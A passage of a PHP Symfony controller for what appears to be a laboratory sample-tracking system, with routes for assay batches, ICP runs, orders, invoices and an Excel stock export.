  1638. $list=[];
  1639. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1640. 'id' => "DESC"
  1641. ]);
  1644. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1645. //foreach($inventory as $j){
  1646. // $list[] = $j->getInfo();
  1647. //}
  1648. $response->setContent(json_encode([
  1649. 'data' => $list,
  1650. ]));
  1651. $response->headers->set('Content-Type', 'application/json');
  1652. return $response;
  1654. }
  1655. //=====================================================================================================================================================================================<
  1656. // /**
  1657. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1658. // * @Route("/moists", name="moists")
  1659. // * @param Request $request
  1660. // * @return Response $response
  1661. // */
  1662. // public function moists(Request $request)
  1663. // {
  1664. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1665. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1666. // ]);
  1667. // return $this->render('cats/moists.html.twig',[
  1668. // 'inventory' => $moists
  1669. // ]);
  1670. // }
  1671. //=====================================================================================================================================================================================<
  1672. /**
  1673. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1674. * @Route("/moistsresult", name="moistsresult")
  1675. * @param Request $request
  1676. * @return Response $response
  1677. */
  1678. public function moistsresult(Request $request)
  1679. {
  1680. return $this->render('cats/moistsresult.html.twig',[]);
  1681. }
  1682. //=====================================================================================================================================================================================<
  1683. /**
  1684. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1685. * @Route("/moists2", name="moists2")
  1686. * @param Request $request
  1687. * @return Response $response
  1688. */
  1689. public function moists2(Request $request)
  1690. {
  1691. return $this->render('cats/moists2.html.twig',[]);
  1692. }
  1693. //=====================================================================================================================================================================================<
  1694. /**
  1695. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1696. * @Route("/moistarchived", name="moistsarchived")
  1697. * @param Request $request
  1698. * @return Response $response
  1699. */
  1700. public function moistsarchive(Request $request)
  1701. {
  1702. return $this->render('cats/moistsarchive.html.twig',[]);
  1703. }
  1704. //=====================================================================================================================================================================================<
  1705. /**
  1706. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1707. * @Route("/fassayprelim", name="fassayprelim")
  1708. * @param Request $request
  1709. * @return Response $response
  1710. */
  1711. public function fassayprelim(Request $request){
  1713. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1714. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1715. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1716. // ]);
  1718. /* @var QueryBuilder $qb */
  1719. $qb = $this->em->createQueryBuilder();
  1720. $qb->select('a,b,c');
  1721. $qb->from(PRun::class, 'a');
  1722. $qb->leftJoin('a.assignedSample', 'b');
  1723. $qb->leftJoin('b.assignedOrder', 'c');
  1724. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1725. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1726. $qb->andWhere('c.WNJ = TRUE');
  1727. }
  1728. $prelims=$qb->getQuery()->getResult();
  1729. $data = $request->request->all();
  1731. if ( $request->isMethod("post") ) {
  1732. if (null !== $request->get('newfabatch')) {
  1733. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1734. $info2 = $data['chkids'];
  1735. $newbatch = new FABatch();
  1736. $newbatch->setDate(new \DateTime());
  1737. $this->em->persist($newbatch);
  1738. foreach ($info2 as $j) {
  1739. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1740. 'id' => $j
  1741. ]);
  1742. $icprundummy->setAssignedFABatch($newbatch);
  1743. $this->em->persist($icprundummy);
  1744. }
  1745. $this->em->flush();
  1746. return $this->redirect($this->generateUrl('fassayprelim'));
  1747. }
  1748. }
  1749. }
  1750. return $this->render('cats/fassayprelim.html.twig',[
  1751. 'pruns' => $prelims,
  1752. 'fabatches' => $fabatches
  1753. ]);
  1754. }
  1755. //=====================================================================================================================================================================================<
  1756. /**
  1757. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1758. * @Route("/fassayreg/{type}", name="fassayreg")
  1759. * @param string $type
  1760. * @param Request $request
  1761. * @return Response $response
  1762. */
  1763. public function fassayreg(string $type, Request $request)
  1764. {
  1765. // /* @var QueryBuilder $qb */
  1766. // $qb = $this->em->createQueryBuilder();
  1767. // $qb->select('a,b,c');
  1768. // $qb->from(RRun::class, 'a');
  1769. // $qb->leftJoin('a.assignedSample', 'b');
  1770. // $qb->leftJoin('b.assignedOrder', 'c');
  1771. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1772. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1773. // $qb->andWhere('c.WNJ = TRUE');
  1774. // }
  1775. // $rruns = ($qb->getQuery()->getResult());
  1777. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1778. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1779. $data = $request->request->all();
  1780. if ( $request->isMethod("post") ) {
  1781. if (null !== $request->get('newbatch')) {
  1782. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1783. $info2 = $data['chkids'];
  1784. $newbatch = new DISQBatch();
  1785. $newbatch->setDate(new \DateTime());
  1786. $newbatch->setStatus('');
  1787. $this->em->persist($newbatch);
  1788. foreach ($info2 as $j) {
  1789. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1790. 'id' => $j
  1791. ]);
  1792. if ($icprundummy->getStatus()=='DIS Q') {
  1793. $icprundummy->setAssignedDISQBatch($newbatch);
  1794. $this->em->persist($icprundummy);
  1795. }
  1796. }
  1797. $this->em->flush();
  1798. return $this->redirect($this->generateUrl('fassayreg'));
  1799. }
  1800. }
  1801. if (null !== $request->get('unassignbatch')) {
  1802. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1803. $info2 = $data['chkids'];
  1804. foreach ($info2 as $j) {
  1805. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1806. 'id' => $j
  1807. ]);
  1808. $icprundummy->setAssignedDISQBatch(NULL);
  1809. $this->em->persist($icprundummy);
  1811. }
  1812. $this->em->flush();
  1813. return $this->redirect($this->generateUrl('fassayreg'));
  1814. }
  1815. }
  1817. return $this->redirect($this->generateUrl('fassayreg'));
  1818. }
  1820. return $this->render('cats/fassayreg.html.twig',[
  1821. // 'rruns' => $rruns,
  1822. 'batches' => $batches,
  1823. 'fabatches' => $fabatches
  1824. ]);
  1825. }
  1826. //=====================================================================================================================================================================================<
  1827. /**
  1828. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1829. * @Route("/icp", name="icp")
  1830. * @param Request $request
  1831. * @return Response $response
  1832. */
  1833. public function icp(Request $request)
  1834. {
  1835. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1836. return $this->render('cats/icp.html.twig',[
  1837. 'batches' => $batches,
  1838. ]);
  1839. }
  1840. //=====================================================================================================================================================================================<
  1841. /**
  1842. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1843. * @Route("/icprecent", name="icprecent")
  1844. * @param Request $request
  1845. * @return Response $response
  1846. */
  1847. public function icprecent(Request $request)
  1848. {
  1849. return $this->render('cats/icprecent.html.twig',[
  1850. 'icpruns' => []
  1851. ]);
  1852. }
  1853. //=====================================================================================================================================================================================<
  1854. /**
  1855. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1856. * @Route("/icpall", name="icpall")
  1857. * @param Request $request
  1858. * @return Response $response
  1859. */
  1860. public function icpall(Request $request)
  1861. {
  1862. return $this->render('cats/icpall.html.twig',[
  1863. 'icpruns' => []
  1864. ]);
  1865. }
  1866. //=====================================================================================================================================================================================<
  1867. /**
  1868. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1869. * @Route("/fassayregarchive", name="fassayregarchive")
  1870. * @param Request $request
  1871. * @return Response $response
  1872. */
  1874. public function fassayregarchive(Request $request)
  1875. {
  1878. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1879. // 'status' => ['Archived']
  1880. //]);
  1882. return $this->render('cats/fassayregarchive.html.twig',[
  1883. //'rruns' => $rruns
  1884. ]);
  1885. }
  1886. //=====================================================================================================================================================================================<
  1887. /**
  1888. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1889. * @Route("/fassayregrecent", name="fassayregrecent")
  1890. * @param Request $request
  1891. * @return Response $response
  1892. */
  1894. public function fassayregrecent(Request $request)
  1895. {
  1896. return $this->render('cats/fassayregrecent.html.twig',[]);
  1897. }
  1898. //=====================================================================================================================================================================================<
  1899. /**
  1900. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1901. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1902. * @param Request $request
  1903. * @return Response $response
  1904. */
  1906. public function fassaypreliminaryarchive(Request $request)
  1907. {
  1908. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1909. // 'status' => ['Archived']
  1910. // ]);
  1912. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1913. }
  1914. //=====================================================================================================================================================================================<
  1915. /**
  1916. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1917. * @param Request $request
  1918. * @Route("cats/addCatSamples", name="addCatSamples")
  1919. * @return Response $response
  1920. */
  1921. public function addCatSamples(Request $request, ExportCountryRelationService $relationService)
  1922. {
  1923. if ( $request->isMethod("post") ) {
  1924. $info = $request->get('entry');
  1925. $samplenames = [];
  1926. $date = $request->get('date');
  1927. foreach($info as $j){
  1928. $entry = new Inventory();
  1929. $entry->setDateofreceipt(new \DateTime($date));
  1930. $entry->setSampleType($j['type']);
  1931. $entry->setSampleSubType($j['subtype']);
  1932. $entry->setSampleName($j['name']);
  1933. $entry->setAddedtocatalogue(false);
  1934. array_push($samplenames, $j['name']);
  1935. $entry->setPriority('Normal');
  1936. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1937. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1938. }
  1939. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1940. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1941. }
  1942. if(!empty($j['dueDate'])) {
  1943. $entry->setDuedate(new \DateTime($j['dueDate']));
  1944. }
  1945. $entry->setMillStatus("Original");
  1946. $entry->setAnalysisStatus("None");
  1947. $entry->setXrfStatus("To Add");
  1948. $entry->setCountry($j['country']);
  1949. $entry->setExportno($j['export']);
  1950. $entry->setReady(false);
  1951. $this->em->persist($entry);
  1952. }
  1953. $log = new Log();
  1954. $log->setDate(new \DateTime());
  1955. $log->setType('Added Samples');
  1956. $log->setText('New samples were added');
  1957. $log->setAssignedUser($this->getUser());
  1958. $log->setText2(implode(",", $samplenames));
  1959. $this->em->persist($log);
  1960. $this->em->flush();
  1961. return $this->redirect($this->generateUrl('inventory'));
  1962. }
  1963. $relationViewData = $relationService->getViewData();
  1965. return $this->render('cats/addsamples.html.twig', [
  1966. 'exportCountryLookup' => $relationViewData['lookup'],
  1967. ]);
  1968. }
  1969. //=====================================================================================================================================================================================<
  1970. /**
  1971. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1972. * @param Request $request
  1973. * @Route("cats/addCatOrders", name="addCatOrders")
  1974. * @return Response $response
  1975. */
  1976. public function addCatOrders(Request $request)
  1977. {
  1978. if ( $request->isMethod("post") ) {
  1979. $info = $request->get('entry');
  1981. $date = $request->get('date');
  1982. $entry = new Orders();
  1983. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1984. $entry->setOrderno(strtoupper($info['orderno']));
  1985. $entry->setSender($info['sender']);
  1986. $entry->setMReceive((float)$info['mreceive']);
  1987. $entry->setClient($info['client']);
  1988. $entry->setStatus('Open');
  1989. $entry->setWaybill($info['wb']);
  1990. $entry->setCourrier($info['courrier']);
  1991. $this->em->persist($entry);
  1993. $this->em->flush();
  1994. return $this->redirect($this->generateUrl('orders'));
  1995. }
  1996. return $this->render('cats/addorders.html.twig');
  1997. }
  1998. //=====================================================================================================================================================================================<
  1999. /**
  2000. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2001. * @param Request $request
  2002. * @Route("/incomingorders", name="incomingorders")
  2003. * @return Response $response
  2004. */
  2005. public function incomingorders(Request $request)
  2006. {
  2007. if ( $request->isMethod("post") ) {
  2008. $info = $request->get('entry');
  2010. $date = $request->get('date');
  2011. $entry = new Orders();
  2012. $entry->setDateofreceipt(new \DateTime($date));
  2013. $entry->setOrderno(strtoupper($info['orderno']));
  2014. $entry->setSender($info['sender']);
  2015. $entry->setClient($info['client']);
  2016. $entry->setStatus('Open');
  2017. $entry->setWaybill($info['wb']);
  2018. $entry->setCourrier($info['courrier']);
  2019. $this->em->persist($entry);
  2021. $this->em->flush();
  2022. return $this->redirect($this->generateUrl('orders'));
  2023. }
  2024. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  2027. return $this->render('cats/incomingorders.html.twig',[
  2028. 'orders' => $orders
  2029. ]);
  2030. }
  2031. //=====================================================================================================================================================================================<
  2032. /**
  2033. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2034. * @param Request $request
  2035. * @Route("/orders", name="orders")
  2036. * @return Response $response
  2037. */
  2038. public function orders(Request $request)
  2039. {
  2040. /* @var QueryBuilder $qb */
  2041. $qb = $this->em->createQueryBuilder();
  2042. $qb->select('a');
  2043. $qb->from(Orders::class, 'a');
  2044. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  2045. $qb->where('a.WNJ = TRUE');
  2046. }
  2047. $orders = ($qb->getQuery()->getResult());
  2050. if ( $request->isMethod("post") ) {
  2051. if (null !== $request->get('edit')){
  2052. $info = $request->get('ids');
  2053. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  2054. 'id' => $info
  2055. ]);
  2056. return $this->render('cats/editorders.html.twig', [
  2057. 'orders' => $editorders
  2058. ]);
  2060. }
  2061. if (null !== $request->get('editconfirm')){
  2062. $info = $request->get('entry');
  2064. foreach($info as $j) {
  2065. $date = $request->get('date');
  2066. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  2067. /** @var Orders $entry */
  2068. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  2069. $entry->setOrderno($j['orderno']);
  2070. $entry->setMReceive((float)$j['mreceive']);
  2071. $entry->setSender($j['sender']);
  2072. $entry->setClient($j['client']);
  2073. $entry->setWaybill($j['wb']);
  2074. if ($j['mdisposed'] > 0){
  2075. $entry->setMDisposed((float)$j['mdisposed']);
  2076. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  2077. }
  2078. $entry->setCourrier($j['courrier']);
  2079. $this->em->persist($entry);
  2080. }
  2081. $this->em->flush();
  2082. return $this->redirect($this->generateUrl('orders'));
  2083. }
  2084. }
  2085. return $this->render('cats/orders.html.twig',[
  2086. 'orders' => $orders
  2087. ]);
  2088. }
  2089. //=====================================================================================================================================================================================<
  2090. /**
  2091. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2092. * @param Request $request
  2093. * @Route("/tasks", name="tasks")
  2094. * @return Response $response
  2095. */
  2096. public function tasks(Request $request)
  2097. {
  2099. /** @var Inventory $inv */
  2100. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  2101. /** @var Orders $orders */
  2102. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  2103. /** @var Inventory $priority */
  2104. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2105. 'priority' => "High",
  2106. 'analysisStatus' => ["In Progress","To Start"]
  2107. ]);
  2108. /** @var Inventory $milllist */
  2109. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2110. 'millStatus' => "To Mill"
  2111. ]);
  2112. /** @var Inventory $milllist */
  2113. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2114. 'analysisStatus' => ["In Progress","To Start"]
  2115. ]);
  2116. /** @var PRun $prunweighq */
  2117. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2118. 'status' => "Weigh Q"
  2119. ]);
  2120. /** @var RRun $rrunweighq */
  2121. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2122. 'status' => "Weigh Q"
  2123. ]);
  2124. /** @var PRun $prunfaq */
  2125. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2126. 'status' => "FA Q"
  2127. ]);
  2128. /** @var RRun $rrunfaq */
  2129. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2130. 'status' => "FA Q"
  2131. ]);
  2132. /** @var RRun $rruncupq */
  2133. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2134. 'status' => "CUP Q"
  2135. ]);
  2136. /** @var RRun $rrundisq */
  2137. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2138. 'status' => "DIS Q"
  2139. ]);
  2140. /** @var Inventory $xrfq */
  2141. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2142. 'xrfStatus' => "To Add"
  2143. ]);
  2145. return $this->render('cats/tasks.html.twig',[
  2146. 'orders' => $orders,
  2147. 'inventory' => $inv,
  2148. 'priority' => $priority,
  2149. 'milllist' => $milllist,
  2150. 'openlist' => $openlist,
  2151. 'prunweighq' => $prunweighq,
  2152. 'rrunweighq' => $rrunweighq,
  2153. 'rrunfaq' => $rrunfaq,
  2154. 'prunfaq' => $prunfaq,
  2155. 'rruncupq' => $rruncupq,
  2156. 'rrundisq' => $rrundisq,
  2157. 'xrfq' => $xrfq
  2158. ]);
  2159. }
  2160. //=====================================================================================================================================================================================<
  2161. /**
  2162. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2163. * @param Request $request
  2164. * @Route("/log", name="log")
  2165. * @return Response $response
  2166. */
  2167. public function log(Request $request)
  2168. {
  2170. /** @var Log $inv */
  2171. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  2174. return $this->render('cats/log.html.twig',[
  2175. //'log' => $log
  2176. ]);
  2177. }
  2178. //=====================================================================================================================================================================================<
  2179. /**
  2180. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2181. * @param Request $request
  2182. * @Route("/cp", name="cp")
  2183. * @return Response $response
  2184. */
  2185. public function cp(Request $request)
  2186. {
  2188. /** @var Inventory $samples */
  2189. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2190. 'analysisStatus' => ['In Progress', 'Flagged']
  2191. ],[
  2192. 'id' => 'ASC'
  2193. ]);
  2195. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  2197. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  2198. /* @var QueryBuilder $qb */
  2199. $qb = $this->em->createQueryBuilder();
  2200. $qb->select('a');
  2201. $qb->from(Inventory::class, 'a');
  2202. $qb->leftJoin('a.assignedOrder', 'b');
  2203. $qb->leftJoin('a.rruns', 'c');
  2204. $qb->leftJoin('c.icpruns', 'd');
  2205. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2206. $qb->andWhere('d.icppt IS NOT NULL');
  2207. $qb->andWhere('b.WNJ = TRUE');
  2208. //$qb->andWhere('d.icppt IS NOT NULL');
  2209. $samples = ($qb->getQuery()->getResult());
  2210. } else {
  2211. /* @var QueryBuilder $qb */
  2212. $qb = $this->em->createQueryBuilder();
  2213. $qb->select('a');
  2214. $qb->from(Inventory::class, 'a');
  2215. $qb->leftJoin('a.assignedOrder', 'b');
  2216. $qb->leftJoin('a.rruns', 'c');
  2217. $qb->leftJoin('c.icpruns', 'd');
  2218. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2219. $qb->andWhere('d.icppt IS NOT NULL');
  2220. //$qb->andWhere('d.icppt IS NOT NULL');
  2221. $samples = ($qb->getQuery()->getResult());
  2222. }
  2224. if ( $request->isMethod("post") ) {
  2225. $data = $request->request->all();
  2226. $finalizationType = $this->getFinalizationType($request);
  2227. if ($finalizationType !== null) {
  2228. if (array_key_exists('chkids',$data)) {
  2229. foreach ($data['chkids'] as $j) {
  2230. /** @var Inventory $sample */
  2231. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2232. 'id' => $j
  2233. ]);
  2234. foreach ($sample->getRruns() as $k) {
  2235. /** @var RRun $k */
  2236. $k->setStatus('Archived');
  2237. $this->em->persist($k);
  2238. foreach ($k->getIcpruns() as $l) {
  2239. /** @var RRun $l */
  2240. $l->setStatus('Archived');
  2241. $this->em->persist($l);
  2242. }
  2243. }
  2244. $sample->setDateFinished(new \DateTime());
  2245. $sample->setAnalysisStatus('Completed');
  2246. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2247. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2248. $setIcprhValue = match ($finalizationType) {
  2249. 'finalize' => $data['entry'][$j]['avgrh'],
  2250. 'finalizemaxrh' => $data['entry'][$j]['maxrh'],
  2251. 'finalizemaxrhcustom' => $data['entry'][$j]['maxrh'] * self::FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE,
  2252. 'finalizeavgrhcustom' => $data['entry'][$j]['avgrh'] * self::FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE,
  2253. default => null,
  2254. };
  2255. $sample->setIcprh($setIcprhValue);
  2256. $this->em->persist($sample);
  2257. $this->em->flush();
  2258. }
  2259. return $this->redirect($this->generateUrl('cp'));
  2260. }
  2261. }
  2262. if (null !== $request->get('flag')){
  2263. $info = $request->get('entry');
  2265. foreach($data['chkids'] as $j){
  2266. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2267. 'id' => $j
  2268. ]);
  2269. $sample->setAnalysisStatus('Flagged');
  2270. $this->em->persist($sample);
  2271. $this->em->flush();
  2273. }
  2274. return $this->redirect($this->generateUrl('cp'));
  2275. }
  2276. }
  2277. return $this->render('cats/cp.html.twig',[
  2278. 'inventory' => $samples,
  2279. 'finalizemaxrhcustomButtonValue' => self::FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE,
  2280. 'finalizeavgrhcustomButtonValue' => self::FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE,
  2281. ]);
  2282. }
  2283. //=====================================================================================================================================================================================<
  2284. /**
  2285. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2286. * @param Request $request
  2287. * @Route("/invoices", name="invoices")
  2288. * @return Response $response
  2289. */
  2290. public function invoices(Request $request)
  2291. {
  2292. $qb = $this->em->createQueryBuilder();
  2293. $qb->setCacheable(false);
  2294. $qb->select('i');
  2295. $qb->from(Invoice::class,'i');
  2296. $qb->leftJoin('i.orders', 'o');
  2297. $qb->leftJoin('o.samples', 's');
  2298. $qb->where("i.status = 'Open'");
  2299. $invoices = $qb->getQuery()->getResult();
  2301. $qb = $this->em->createQueryBuilder();
  2302. $qb->setCacheable(false);
  2303. $qb->select('i');
  2304. $qb->from(Invoice::class, 'i');
  2305. $qb->leftJoin('i.orders', 'o');
  2306. $qb->leftJoin('o.samples', 's');
  2307. $qb->where("i.status = 'Closed'");
  2308. $allClosedInvoices = $qb->getQuery()->getResult();
  2310. // Create a DateTime object for one year ago
  2311. $oneYearAgo = new \DateTime();
  2312. $oneYearAgo->modify('-1 year');
  2314. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2315. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2316. /** @var Invoice $invoice */
  2317. $orders = $invoice->getOrders();
  2319. // If there are no orders, keep the invoice by default
  2320. if (count($orders) === 0) {
  2321. return true;
  2322. }
  2324. // Check if at least one order is newer than one year ago
  2325. foreach ($orders as $order) {
  2326. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2327. return true;
  2328. }
  2329. }
  2331. return false;
  2332. });
  2334. if ($request->isMethod("post")) {
  2335. $data = $request->request->all();
  2336. if (null !== $request->get('newinvoice')){
  2337. $invoice = new Invoice();
  2338. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2339. $invoice->setAmount((float)$data['entry']['amount']);
  2340. $invoice->setCurrency($data['entry']['currency']);
  2341. $invoice->setRecipient($data['entry']['recipient']);
  2342. $invoice->setStatus('Open');
  2343. $this->em->persist($invoice);
  2344. $this->em->flush();
  2345. return $this->redirect($this->generateUrl('invoices'));
  2346. }
  2347. if (null !== $request->get('editamount')){
  2348. $invoiceid = $data['invoiceid'];
  2349. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2350. 'id' => $invoiceid
  2351. ]);
  2352. $invoice->setInvoiceno($data['invoiceno']);
  2353. $invoice->setAmount((float)$data['amount']);
  2354. $invoice->setCurrency($data['currency']);
  2355. $invoice->setRecipient($data['recipient']);
  2356. $this->em->persist($invoice);
  2357. $this->em->flush();
  2358. return $this->redirect($this->generateUrl('invoices'));
  2359. }
  2360. if (null !== $request->get('unassignorder')){
  2361. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2362. 'id' => $data['orderid']
  2363. ]);
  2364. $temporder->setAssignedInvoice(Null);
  2365. $this->em->persist($temporder);
  2366. $this->em->flush();
  2367. return new Response("success");
  2368. }
  2369. if (null !== $request->get('deleteinvoice')){
  2370. $invoiceid = $data['invoiceid'];
  2371. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2372. 'id' => $invoiceid
  2373. ]);
  2374. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2375. 'assignedInvoice' => $invoice
  2376. ]);
  2377. foreach ($ordersdel as $j){
  2378. $j->setAssignedInvoice(NULL);
  2379. $this->em->persist($j);
  2380. $this->em->flush();
  2381. }
  2382. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2383. 'id' => $invoiceid
  2384. ]);
  2385. $this->em->remove($invoice);
  2386. $this->em->flush();
  2387. return $this->redirect($this->generateUrl('invoices'));
  2388. }
  2389. }
  2390. if (null !== $request->get('closeinvoice')){
  2391. $invoiceid = $data['invoiceid'];
  2392. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2393. 'id' => $invoiceid
  2394. ]);
  2395. $invoice->setStatus('Closed');
  2396. $this->em->persist($invoice);
  2397. $this->em->flush();
  2398. return $this->redirect($this->generateUrl('invoices'));
  2399. }
  2401. return $this->render('cats/invoices.html.twig', [
  2402. 'invoices' => $invoices,
  2403. 'closedinvoices' => array_reverse($closedinvoices)
  2404. ]);
  2405. }
  2406. //=====================================================================================================================================================================================<
  2407. /**
  2408. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2409. * @param Request $request
  2410. * @Route("/stock/download", name="stock_download")
  2411. * @return Response $response
  2412. */
  2413. public function downloadXlsx(Request $request)
  2414. {
  2415. $type = $request->query->get('type'); // Get type
  2416. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2417. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2418. $toDate = $request->query->get('toDate'); // Get to-date filter
  2420. // Decode JSON string into array if necessary
  2421. if (is_string($stockIds)) {
  2422. $stockIds = json_decode($stockIds, true);
  2423. }
  2425. $currentDate = (new \DateTime())->format('ymdHis');
  2426. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2428. // Create a new Spreadsheet
  2429. $spreadsheet = new Spreadsheet();
  2430. $sheet = $spreadsheet->getActiveSheet();
  2432. // Add headers
  2433. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2434. $sheet->fromArray($headers, null, 'A1', true);
  2436. // Fetch data from StockManagement repository
  2437. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2439. // Populate data rows
  2440. $row = 2; // Start after headers
  2441. foreach ($stockManagements as $entry) {
  2442. $sheet->fromArray([
  2443. $entry->getId(),
  2444. $entry->getStockId(),
  2445. $entry->getStockName(),
  2446. $entry->getSupplier(),
  2447. $entry->getComment(),
  2448. $entry->getStockType(),
  2449. $entry->getActionType(),
  2450. $entry->getQuantity(),
  2451. $entry->getTotalQuantity(),
  2452. $entry->getDate()->format('Y-m-d H:i:s'),
  2453. ], null, 'A' . $row, true);
  2455. $row++;
  2456. }
  2458. // Generate the Excel file
  2459. $writer = new Xlsx($spreadsheet);
